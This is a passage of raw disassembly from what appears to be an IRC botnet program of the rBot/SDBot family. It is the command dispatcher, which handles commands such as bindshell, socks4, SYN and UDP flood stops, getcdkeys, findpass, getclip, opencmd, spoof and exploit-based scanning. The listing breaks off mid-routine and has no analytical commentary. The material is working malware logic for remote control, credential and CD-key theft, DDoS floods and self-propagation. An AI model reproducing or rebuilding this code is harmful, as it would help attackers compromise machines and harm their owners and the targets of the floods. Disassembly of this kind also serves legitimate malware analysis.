--------------------------------------------------------------------------- loc_4027F9: ; CODE XREF: sub_401B66+D85j push edi push [ebp+arg_0] call sub_41C0D0 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41BDC0 lea eax, [ebp+var_A0] push offset asc_42DDE8 ; ")" push eax call sub_41C8C4 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_40283D cmp [ebp+var_A0], 39h jle short loc_402853 loc_40283D: ; CODE XREF: sub_401B66+CCCj push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41BDC0 add esp, 0Ch loc_402853: ; CODE XREF: sub_401B66+CD5j lea eax, [ebp+var_A0] push eax call sub_41BF49 test eax, eax pop ecx jle short loc_402879 lea eax, [ebp+var_A0] push eax call sub_41BF49 pop ecx mov [ebp+var_94], al jmp short loc_40288D ; --------------------------------------------------------------------------- loc_402879: ; CODE XREF: sub_401B66+CFCj call sub_41C0B2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_40288D: ; CODE XREF: sub_401B66+D11j lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41B7B0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41BD60 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41BDC0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4185D4 push edi push [ebp+arg_0] call sub_41C0D0 add esp, 30h loc_4028E9: ; CODE XREF: sub_401B66+C8Ej test eax, eax jnz loc_4027F9 mov edi, 1FFh lea eax, [ebp+var_4484] push edi push [ebp+arg_0] push eax call sub_41BDC0 lea eax, [ebp+var_4484] push edi push eax lea eax, [ebp+var_4AEC] push eax call sub_41BDC0 mov edi, offset asc_42E0C8 ; " " lea eax, [ebp+var_4AEC] push edi push eax call sub_41C8C4 add esp, 20h mov [ebp+var_90], eax mov [ebp+arg_20], 1 loc_40293C: ; CODE XREF: sub_401B66+DF0j push edi push ebx call sub_41C8C4 pop ecx pop ecx mov ecx, [ebp+arg_20] inc [ebp+arg_20] cmp [ebp+arg_20], 20h mov [ebp+ecx*4+var_90], eax jl short loc_40293C lea eax, [ebp+esi+var_90] mov ecx, [eax] cmp ecx, ebx jz loc_401F9E add ecx, 3 mov [eax], ecx loc_40296E: ; CODE XREF: sub_401B66+C16j mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41C840 pop ecx test eax, eax pop ecx jz loc_409722 push edi push offset aRn ; "rn" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_409722 push edi push offset aDie ; "die" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_404A43 push edi push offset aD ; "d" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_404A43 push edi push offset aLogout ; "logout" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4049A5 push edi push offset aLo ; "lo" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4049A5 push edi push offset aVersion ; "version" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_404996 push edi push offset aVer ; "ver" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_404996 push edi push offset aDedication ; "dedication" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40498C push edi push offset aDed ; "ded" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40498C push edi push offset aSpeedtest ; "speedtest" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_404973 push edi push offset aSt ; "st" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_404973 push edi push offset aSecure ; "secure" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_404876 push edi push offset aSec ; "sec" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_404876 push edi push offset aUnsecure ; "unsecure" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_404876 push edi push offset aUnsec ; "unsec" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_404876 push edi push offset aBindshell ; "bindshell" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_404771 push edi push offset aBd ; "bd" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_404771 push edi push offset aBindshellstop ; "bindshellstop" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_402B1B push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42DD3C jmp loc_404634 ; --------------------------------------------------------------------------- loc_402B1B: ; CODE XREF: sub_401B66+F9Bj push edi push offset aSocks4 ; "socks4" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_404650 push edi push offset aS4 ; "s4" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_404650 push edi push offset aSocks4stop ; "socks4stop" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_402B6E push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42DD14 jmp loc_404634 ; --------------------------------------------------------------------------- loc_402B6E: ; CODE XREF: sub_401B66+FEEj push edi push offset aRloginstop ; "rloginstop" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_402B97 push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42DCF8 jmp loc_404634 ; --------------------------------------------------------------------------- loc_402B97: ; CODE XREF: sub_401B66+1017j push edi push offset aHttpstop ; "httpstop" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_402BC0 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42DCDC jmp loc_404634 ; --------------------------------------------------------------------------- loc_402BC0: ; CODE XREF: sub_401B66+1040j push edi push offset aLogstop ; "logstop" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_402BE9 push [ebp+esi+var_8C] push 25h push offset dword_42DCC8 push offset dword_42DCBC jmp loc_404634 ; --------------------------------------------------------------------------- loc_402BE9: ; CODE XREF: sub_401B66+1069j push edi push offset aRedirectstop ; "redirectstop" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_402C12 push [ebp+esi+var_8C] push 18h push offset dword_42DC9C push offset dword_42DC8C jmp loc_404634 ; --------------------------------------------------------------------------- loc_402C12: ; CODE XREF: sub_401B66+1092j push edi push offset dword_42DC80 call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_402C3B push [ebp+esi+var_8C] push 0Dh push offset dword_42DC74 push offset dword_42DC68 jmp loc_404634 ; --------------------------------------------------------------------------- loc_402C3B: ; CODE XREF: sub_401B66+10BBj push edi push offset aSynstop ; "synstop" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_402C64 push [ebp+esi+var_8C] push 0Eh push offset dword_42DC54 push offset dword_42DC48 jmp loc_404634 ; --------------------------------------------------------------------------- loc_402C64: ; CODE XREF: sub_401B66+10E4j push edi push offset aSkysynstop ; "skysynstop" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_402C8D push [ebp+esi+var_8C] push 10h push offset dword_42DC2C push offset dword_42DC1C jmp loc_404634 ; --------------------------------------------------------------------------- loc_402C8D: ; CODE XREF: sub_401B66+110Dj push edi push offset aTarga3stop ; "targa3stop" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_402CB6 push [ebp+esi+var_8C] push 11h push offset dword_42DC00 push offset dword_42DBF0 jmp loc_404634 ; --------------------------------------------------------------------------- loc_402CB6: ; CODE XREF: sub_401B66+1136j push edi push offset aWonkstop ; "wonkstop" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_402CDF push [ebp+esi+var_8C] push 12h push offset dword_42DBD8 push offset dword_42DBCC jmp loc_404634 ; --------------------------------------------------------------------------- loc_402CDF: ; CODE XREF: sub_401B66+115Fj push edi push offset aPacketstop ; "packetstop" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_402E35 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42DC74 push offset dword_42DC68 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B215 push esi push 0Eh push offset dword_42DC54 push offset dword_42DC48 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B215 add esp, 40h push esi push 17h push offset dword_42DBB4 push offset dword_42DBA8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B215 push esi push 16h push offset dword_42DB9C push offset dword_42DB90 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B215 add esp, 40h push esi push 11h push offset dword_42DC00 push offset dword_42DBF0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B215 push esi push 12h push offset dword_42DBD8 push offset dword_42DBCC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B215 add esp, 40h push esi push 0Fh push offset dword_42DB80 push offset dword_42DB70 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B215 push esi push 13h push offset dword_42DB60 push offset dword_42DB50 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B215 add esp, 40h push esi push 10h push offset dword_42DC2C push offset dword_42DC1C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B215 push ebx push [ebp+var_4] push offset unk_42DB1C push [ebp+var_88] push edi call sub_409982 add esp, 34h jmp loc_401F9E ; --------------------------------------------------------------------------- loc_402E35: ; CODE XREF: sub_401B66+1188j push edi push offset aTsunamistop ; "tsunamistop" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_402E5E push [ebp+esi+var_8C] push 0Fh push offset dword_42DB80 push offset dword_42DB70 jmp loc_404634 ; --------------------------------------------------------------------------- loc_402E5E: ; CODE XREF: sub_401B66+12DEj push edi push offset aWisdomstop ; "wisdomstop" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_402E87 push [ebp+esi+var_8C] push 13h push offset dword_42DB60 push offset dword_42DB50 jmp loc_404634 ; --------------------------------------------------------------------------- loc_402E87: ; CODE XREF: sub_401B66+1307j push edi push offset aUdpstop ; "udpstop" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_402EB0 push [ebp+esi+var_8C] push 17h push offset dword_42DBB4 push offset dword_42DBA8 jmp loc_404634 ; --------------------------------------------------------------------------- loc_402EB0: ; CODE XREF: sub_401B66+1330j push edi push offset aPingstop ; "pingstop" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_402ED9 push [ebp+esi+var_8C] push 16h push offset dword_42DB9C push offset dword_42DB90 jmp loc_404634 ; --------------------------------------------------------------------------- loc_402ED9: ; CODE XREF: sub_401B66+1359j push edi push offset aTftpstop ; "tftpstop" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_402F02 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42DAD4 jmp loc_404634 ; --------------------------------------------------------------------------- loc_402F02: ; CODE XREF: sub_401B66+1382j push edi push offset aFindfilestop ; "findfilestop" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_404621 push edi push offset aFfstop ; "ffstop" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_404621 push edi push offset aProcsstop ; "procsstop" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40460C push edi push offset aPsstop ; "psstop" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40460C push edi push offset aClonestop ; "clonestop" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_402F7F push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42DA84 jmp loc_404634 ; --------------------------------------------------------------------------- loc_402F7F: ; CODE XREF: sub_401B66+13FFj push edi push offset aSecurestop ; "securestop" call sub_41C840 loc_402F8A: ; DATA XREF: .RLPack:005003A1o pop ecx test eax, eax pop ecx jnz short loc_402FA8 push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42DA60 jmp loc_404634 ; --------------------------------------------------------------------------- loc_402FA8: ; CODE XREF: sub_401B66+1428j push edi push offset aScanstop ; "scanstop" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_402FD1 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42DA40 jmp loc_404634 ; --------------------------------------------------------------------------- loc_402FD1: ; CODE XREF: sub_401B66+1451j push edi push offset aScanstats ; "scanstats" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4045F6 push edi push offset aStats ; "stats" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4045F6 push edi push offset aTransferstats ; "transferstats" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4045E0 push edi push offset aTrstats ; "trstats" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4045E0 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4045CA push edi push offset aCbstats ; "cbstats" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4045CA push edi push offset aExploitlist ; "exploitlist" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4045B4 push edi push offset aExplist ; "explist" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4045B4 push edi push offset aReconnect ; "reconnect" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_404595 push edi push offset aR ; "r" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_404595 push edi push offset aDisconnect ; "disconnect" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_404573 push edi push offset aDc ; "dc" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_404573 push edi push offset aQuit_0 ; "quit" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40452A push edi push offset aQ ; "q" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40452A push edi push offset aStatus ; "status" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4044EC push edi push offset aS_1 ; "s" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4044EC push edi push offset aId ; "id" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4044B5 push edi push offset aI ; "i" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4044B5 push edi push offset aReboot ; "reboot" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_40319D call sub_418A12 test eax, eax mov eax, offset unk_42D97C jnz short loc_40316F mov eax, offset unk_42D954 loc_40316F: ; CODE XREF: sub_401B66+1602j push eax lea eax, [ebp+var_2C0] push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 add esp, 1Ch jmp loc_402418 ; --------------------------------------------------------------------------- loc_40319D: ; CODE XREF: sub_401B66+15F4j push edi push offset aThreads ; "threads" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4043C8 push edi push offset aT ; "t" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4043C8 push edi push offset aAliases ; "aliases" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4043A5 push edi push offset aAl ; "al" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4043A5 push edi push offset aLog909 ; "log909" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4042B6 push edi push offset aLg909 ; "lg909" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4042B6 push edi push offset aClearlog ; "clearlog" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40429A push edi push offset aClg ; "clg" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40429A push edi push offset aNetinfo ; "netinfo" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_404260 push edi push offset aNi ; "ni" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_404260 push edi push offset aSysinfo ; "sysinfo" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_404235 push edi push offset aSi ; "si" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_404235 push edi push offset aRemove51 ; "remove51" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4041FB push edi push offset aRm51 ; "rm51" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4041FB push edi push offset aProcs ; "procs" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4040DC push edi push offset aPs ; "ps" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4040DC push edi push offset aGetcdkeys ; "getcdkeys" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aKey ; "key" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aUptime ; "uptime" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40402B push edi push offset aUp ; "up" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40402B push edi push offset aDriveinfo ; "driveinfo" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40400E push edi push offset aDrv ; "drv" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40400E push edi push offset aTestdlls ; "testdlls" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_403FF5 push edi push offset aDll ; "dll" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_403FF5 loc_403395: ; DATA XREF: sub_4FE53F+233w push edi push offset aOpencmd ; "opencmd" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_403F81 push edi push offset aOcmd ; "ocmd" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_403F81 push edi push offset aCmdstop ; "cmdstop" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_4033E8 push [ebp+esi+var_8C] push 0Ah push offset dword_42D880 push offset dword_42D874 jmp loc_404634 ; --------------------------------------------------------------------------- loc_4033E8: ; CODE XREF: sub_401B66+1868j push edi loc_4033E9: ; DATA XREF: sub_4FE53F+251w push offset dword_42D870 call sub_41C840 pop ecx test eax, eax loc_4033F6: ; DATA XREF: sub_4FE53F+262w pop ecx jnz loc_4034E7 cmp [ebp+var_8], ebx jnz short loc_40341C push ebx push [ebp+var_4] push offset dword_42D85C push [ebp+var_88] push [ebp+arg_4] call sub_409982 add esp, 14h loc_40341C: ; CODE XREF: sub_401B66+189Aj mov eax, [ebp+arg_18] cmp [eax], bl jz short loc_403426 inc eax jmp short loc_40342B ; --------------------------------------------------------------------------- loc_403426: ; CODE XREF: sub_401B66+18BBj mov eax, offset aEmpty ; "<Empty>" loc_40342B: ; CODE XREF: sub_401B66+18BEj ; DATA XREF: .RLPack:004FFAA5r ... push eax push ebx lea eax, [ebp+var_2C0] push offset aD_S ; "%d. %s" push eax loc_403439: call sub_41C056 push 1 lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 push offset unk_42D828 call sub_4157A5 add esp, 28h loc_403465: ; CODE XREF: sub_401B66+1B84j ; sub_401B66+2EF1j mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401F9E push edi push offset aSpoof ; "spoof" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_404B63 mov esi, [ebp+arg_10] push offset aOff ; "off" push esi call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_404A69 lea eax, [ebp+var_2C0] push offset unk_42D7F4 push eax mov dword_4D14F4, ebx call sub_41C056 pop ecx pop ecx loc_4034BD: ; CODE XREF: sub_401B66+2FA4j ; sub_401B66+2FCAj ... cmp [ebp+var_8], ebx jnz loc_40976F push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 loc_4034DF: ; CODE XREF: sub_401B66+6F5Aj ; sub_401B66+6FBEj add esp, 14h jmp loc_40976F ; --------------------------------------------------------------------------- loc_4034E7: ; CODE XREF: sub_401B66+1891j push edi push offset aGetclip ; "getclip" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_403F40 push edi push offset aGc ; "gc" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_403F40 push edi push offset aFlusharp ; "flusharp" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_403F23 push edi push offset aFarp ; "farp" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_403F23 push edi loc_40353C: ; DATA XREF: .RLPack:004FE50Cw ; sub_4FE53F:loc_4FE56Cr ... push offset aFlushdns ; "flushdns" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_403EE5 loc_403550: ; DATA XREF: sub_4FE53F+121w ; .RLPack:004FE6B9r ... push edi push offset aFdns ; "fdns" call sub_41C840 pop ecx loc_40355C: ; DATA XREF: sub_5001B6+3Cr test eax, eax pop ecx jz loc_403EE5 push edi push offset aCurrentip ; "currentip" call sub_41C840 loc_403570: ; DATA XREF: sub_4FE53F:loc_4FE728r pop ecx test eax, eax pop ecx jz loc_403EAB push edi push offset aCip ; "cip" loc_403580: ; DATA XREF: sub_5001B6+79r call sub_41C840 pop ecx test eax, eax pop ecx jz loc_403EAB push edi push offset aRloginserver ; "rloginserver" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_403D4F loc_4035A4: ; DATA XREF: .RLPack:004FED82r push edi push offset aRlogin ; "rlogin" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_403D4F push edi push offset aHttpserver ; "httpserver" call sub_41C840 loc_4035C4: ; DATA XREF: sub_5006F2+13r pop ecx test eax, eax pop ecx loc_4035C8: ; DATA XREF: sub_4FE53F+12Er jz loc_403BDA push edi push offset aHttp ; "http" loc_4035D4: ; DATA XREF: sub_4FE53F+22Ar ; .RLPack:loc_4FEDD8r call sub_41C840 pop ecx test eax, eax loc_4035DC: ; DATA XREF: sub_4FE53F+257r ; .RLPack:004FEE0Br pop ecx jz loc_403BDA push edi loc_4035E4: ; DATA XREF: sub_4FE53F+2F6r ; .RLPack:004FEDB2r push offset aTftpserver ; "tftpserver" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_403AA9 loc_4035F8: ; DATA XREF: sub_4FE53F+21Dr push edi push offset aTftp ; "tftp" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_403AA9 push edi push offset aCrash ; "crash" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_403673 lea eax, [ebp+var_2C0] push offset dword_42D74C push eax call sub_41C056 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403652 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 add esp, 14h loc_403652: ; CODE XREF: sub_401B66+1ACEj lea eax, [ebp+var_2C0] push eax call sub_4157A5 mov [esp+10h+var_10], offset aCrash ; "crash" push [ebp+esi+var_7C] call sub_41C840 jmp loc_4098EF ; --------------------------------------------------------------------------- loc_403673: ; CODE XREF: sub_401B66+1AB6j push edi push offset aScanall ; "scanall" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4037A5 push edi push offset aSa ; "sa" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4037A5 push edi push offset aPhonehome ; "phonehome" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_4036CA lea eax, [ebp+var_C0] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] call sub_40993C loc_4036C2: ; CODE XREF: sub_401B66+40Bj add esp, 0Ch jmp loc_401F9E ; --------------------------------------------------------------------------- loc_4036CA: ; CODE XREF: sub_401B66+1B46j push edi push offset aFindpass ; "findpass" call sub_41C840 pop ecx test eax, eax pop ecx jz short loc_4036F0 push edi push offset aFp ; "fp" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_403465 loc_4036F0: ; CODE XREF: sub_401B66+1B73j push [ebp+var_88] lea eax, [ebp+var_F50] push 80h push eax call sub_41C150 mov eax, [ebp+arg_4] push offset unk_42D6DC mov [ebp+var_F54], eax mov eax, [ebp+var_4] mov [ebp+var_ECC], eax mov eax, [ebp+var_8] mov [ebp+var_EC8], eax lea eax, [ebp+var_2C0] push 200h push eax call sub_41C150 push ebx lea eax, [ebp+var_2C0] push 26h push eax call sub_40AF8D add esp, 24h mov [ebp+var_ED0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F54] push ebx push eax push offset sub_417474 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_ED0] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_403798 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42D6A0 jmp loc_408338 ; --------------------------------------------------------------------------- loc_403790: ; CODE XREF: sub_401B66+1C38j push 32h call dword_428064 ; Sleep loc_403798: ; CODE XREF: sub_401B66+1C17j cmp [ebp+var_EC4], ebx jz short loc_403790 jmp loc_402418 ; --------------------------------------------------------------------------- loc_4037A5: ; CODE XREF: sub_401B66+1B1Cj ; sub_401B66+1B31j mov al, byte_432DB2 mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_432DB2 jz loc_401F9E mov ecx, edx loc_4037BC: ; CODE XREF: sub_401B66+1C5Ej inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037BC cmp al, bl jz loc_401F9E mov [ebp+arg_10], edx mov esi, offset aGxxx_0 ; "#Gxxx" loc_4037D6: ; CODE XREF: sub_401B66+1F1Cj push 0Bh call sub_40B1CF pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 1F4h jle short loc_403825 push ecx lea eax, [ebp+var_2C0] push offset unk_42D660 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 add esp, 20h jmp loc_403A79 ; --------------------------------------------------------------------------- loc_403825: ; CODE XREF: sub_401B66+1C8Aj or [ebp+var_72C], 0FFFFFFFFh cmp dword_432A90, ebx mov [ebp+var_730], 64h mov [ebp+var_744], 5 mov [ebp+var_740], 320h mov [ebp+arg_0], ebx jz short loc_403896 mov edi, offset dword_432A90 loc_40385A: ; CODE XREF: sub_401B66+1D12j mov eax, [ebp+arg_10] add eax, 0FFFFFFF6h push eax lea eax, [edi-28h] push eax call sub_41C840 pop ecx test eax, eax pop ecx jz short loc_40387C inc [ebp+arg_0] add edi, 40h cmp [edi], ebx jnz short loc_40385A jmp short loc_403896 ; --------------------------------------------------------------------------- loc_40387C: ; CODE XREF: sub_401B66+1D08j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_72C], eax shl ecx, 6 mov ecx, dword_432A90[ecx] mov [ebp+var_748], ecx loc_403896: ; CODE XREF: sub_401B66+1CEDj ; sub_401B66+1D14j cmp [ebp+var_748], ebx jz loc_403A9F push 10h lea eax, [ebp+var_2C8] pop edi push eax lea eax, [ebp+var_2F4] push eax mov [ebp+var_2C8], edi push [ebp+arg_4] call dword_4CDC08 ; getsockname mov al, [ebp+var_8FB] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F0], eax push [ebp+var_2F0] call dword_4CDCF0 ; inet_ntoa push eax lea eax, [ebp+var_85C] push eax call sub_41BDC0 xor eax, eax cmp [ebp+var_8FB], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_85C] push eax call sub_41C610 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40393E loc_40391C: ; CODE XREF: sub_401B66+1DD6j cmp eax, ebx jz short loc_40393E mov byte ptr [eax], 78h lea eax, [ebp+var_85C] push 30h push eax call sub_41C610 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40391C loc_40393E: ; CODE XREF: sub_401B66+1DB4j ; sub_401B66+1DB8j mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_74C], eax mov eax, [ebp+var_4] mov [ebp+var_724], eax loc_403956: ; DATA XREF: sub_5001B6+4Bw ; sub_5001B6+73r ... mov eax, [ebp+var_8] mov [ebp+var_720], eax mov edi, 80h lea eax, [ebp+var_84C] loc_40396A: ; DATA XREF: sub_5001B6+88w ; sub_5002CD+36r push edi push eax mov [ebp+var_71C], 1 loc_403976: ; DATA XREF: sub_500288+3Ew ; sub_5003AC+121r ... call sub_41C150 push offset byte_43FE14 push esi call sub_41C840 loc_403986: ; DATA XREF: .RLPack:004FFB1Dw ; .RLPack:004FFF62r ... add esp, 14h test eax, eax jz short loc_4039A0 push esi loc_40398E: ; DATA XREF: sub_4FF701+20w ; sub_4FF770+6w ... lea eax, [ebp+var_7CC] push edi push eax loc_403996: ; DATA XREF: .RLPack:loc_4FF9F5r call sub_41C150 add esp, 0Ch loc_40399E: ; DATA XREF: .RLPack:004FFA13w ; .RLPack:004FFA62r jmp short loc_4039A6 ; --------------------------------------------------------------------------- loc_4039A0: ; CODE XREF: sub_401B66+1E25j mov [ebp+var_7CC], bl loc_4039A6: ; CODE XREF: sub_401B66:loc_40399Ej ; DATA XREF: sub_4FF6BA+1w ... cmp [ebp+var_71C], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039B8 mov eax, offset aSequential ; "Sequential" loc_4039B8: ; CODE XREF: sub_401B66+1E4Bj push [ebp+var_730] loc_4039BE: ; DATA XREF: sub_500139-8Er lea ecx, [ebp+var_85C] push [ebp+var_740] loc_4039CA: ; DATA XREF: sub_500139-43w ; sub_500139-15r push [ebp+var_744] push [ebp+var_748] push ecx push eax lea eax, [ebp+var_2C0] push offset unk_42D5E0 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push 0Bh push eax call sub_40AF8D add esp, 2Ch mov [ebp+var_73C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_85C] push ebx push eax push offset sub_40C1BE push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_73C] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_403A95 call dword_42808C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2C0] push offset unk_42D5A4 push eax call sub_41C056 add esp, 0Ch loc_403A4B: ; CODE XREF: 